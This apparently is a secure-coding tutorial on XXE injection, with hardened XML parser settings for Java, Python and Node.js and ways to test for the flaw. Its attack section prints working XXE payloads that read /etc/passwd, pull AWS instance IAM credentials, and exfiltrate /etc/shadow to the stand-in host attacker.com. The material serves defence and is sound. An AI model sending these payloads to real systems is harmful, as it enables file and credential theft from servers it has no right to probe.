XXE Injection: Parsing XML Safely in Java, Python, and Node.js

XML External Entity injection lets attackers read arbitrary files, perform SSRF, and in some configurations achieve remote code execution -- entirely through the XML parser. Here's how the attack works and how to shut it down in three languages.

XML External Entity (XXE) injection is one of those vulnerabilities that looks theoretical until you actually test it — at which point it reads /etc/passwd back to you in the response and you start thinking about what else is on that server.

The core issue is that the XML specification supports “external entities” — references that tell the parser to load content from a URI or local file path. The feature was designed for legitimate document composition. In practice, it allows any user-supplied XML to trigger arbitrary file reads, SSRF requests, or out-of-band data exfiltration through an XML parser that hasn’t been explicitly hardened.

How XXE Works

An XML document can declare an external entity that references a file:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
  <data>&xxe;</data>
</request>

When an insecure parser processes this, it resolves the &xxe; entity by reading /etc/passwd and substitutes the contents inline. If the application reflects any part of the parsed XML in its response, the attacker receives the file contents.

The same technique works with http:// URIs for SSRF:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role">
]>
<request><data>&xxe;</data></request>

On an AWS EC2 instance or Lambda with SSRF-vulnerable XML processing, this returns IAM credentials.

Blind XXE

When the response does not reflect parsed content, attackers use out-of-band techniques. The attacker’s XML triggers an HTTP request to a server they control, carrying exfiltrated data in the URL or request body:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/shadow">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
  %eval;
  %exfil;
]>
<request/>

This is the “blind XXE via OOB” pattern. The data arrives at the attacker’s server even though the application response contains nothing interesting.

Prevention in Java

Java’s XML parsers are vulnerable by default. The DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory all support external entities unless explicitly disabled.

DocumentBuilderFactory (DOM parser):

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.XMLConstants;

public DocumentBuilderFactory createSecureFactory() throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    
    // Disable DOCTYPE declarations entirely (strongest protection)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    
    // If DOCTYPE must be allowed, disable external entities individually
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    
    factory.setXIncludeAware(false);
    factory.setExpandEntityReferences(false);
    
    return factory;
}

SAXParserFactory:

import javax.xml.parsers.SAXParserFactory;

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

XMLInputFactory (StAX parser):

import javax.xml.stream.XMLInputFactory;

XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

The critical property is disallow-doctype-decl. If DOCTYPE declarations are rejected entirely, external entity injection cannot occur. Use this unless your application legitimately processes documents with DOCTYPE declarations — which is rare in modern applications.

Prevention in Python

Python’s built-in xml.etree.ElementTree is not vulnerable to classic XXE (it doesn’t expand external entities), but lxml and xml.sax can be. The defusedxml library is the recommended solution across all Python XML parsers.

pip install defusedxml
# Replace standard library XML parsing with defusedxml equivalents
import defusedxml.ElementTree as ET
import defusedxml.minidom as minidom
import defusedxml.sax as sax

# Safe DOM parsing
def parse_xml_safe(xml_content: str) -> ET.Element:
    return ET.fromstring(xml_content)

# If you're using lxml specifically:
from lxml import etree

def parse_lxml_safe(xml_content: bytes) -> etree._Element:
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        load_dtd=False,
    )
    return etree.fromstring(xml_content, parser=parser)

If you’re using lxml with resolve_entities=False and no_network=True, external entity resolution is disabled. The defusedxml approach is simpler and recommended unless you need lxml-specific features.

Checking your existing code:

# Find XML parsing patterns in Python code that may be vulnerable
grep -rn "xml\|lxml\|minidom\|ElementTree\|SAXParser" src/ \
  --include="*.py" | grep -v "defusedxml"

Any xml.dom.minidom, xml.sax, or direct lxml.etree usage without the no_network=True / resolve_entities=False flags is worth auditing.

Prevention in Node.js

Node.js does not have a built-in XML parser, so the risk depends on which library is in use.

fast-xml-parser (safe by default for v4+):

import { XMLParser } from 'fast-xml-parser';

const parser = new XMLParser({
  // These defaults are safe in fast-xml-parser v4
  // processEntities is true but only handles numeric/named entities, not external
  allowBooleanAttributes: false,
});

const result = parser.parse(xmlInput);

Fast-xml-parser does not support DOCTYPE or external entity resolution and is safe to use directly.

xml2js (safe by default):

const xml2js = require('xml2js');

// xml2js uses sax.js under the hood, which does not expand external entities
const parser = new xml2js.Parser({
  explicitArray: false,
  trim: true,
});

const result = await parser.parseStringPromise(xmlInput);

libxmljs (requires configuration):

const libxmljs = require('libxmljs2');

// libxmljs CAN be vulnerable  --  disable external entities explicitly
const doc = libxmljs.parseXml(xmlInput, {
  nonet: true,      // Disable network access
  noent: false,     // Do not expand entities
  dtdload: false,   // Do not load external DTDs
  dtdvalid: false,
});

If you’re using libxmljs or libxmljs2, the nonet: true and dtdload: false options are mandatory for any user-supplied XML.

Testing for XXE

A simple test payload to verify whether a parser is vulnerable:

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<test>&xxe;</test>

If the hostname of the server appears in the response, the parser is expanding external entities. A DNS-based OOB test using Burp Collaborator or interactsh is more reliable for detecting blind XXE where file contents are not reflected.

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://your-collaborator-id.oastify.com/xxe">
]>
<test>&xxe;</test>

A DNS or HTTP hit to the collaborator server confirms the parser is resolving external URIs even if file contents are not visible in the response.

The fix is consistently the same regardless of language: disable DOCTYPE declarations entirely, or disable external entity and DTD loading at parser initialisation. These are parser-level settings, not application-level validation — they need to be set before any user-supplied XML is processed.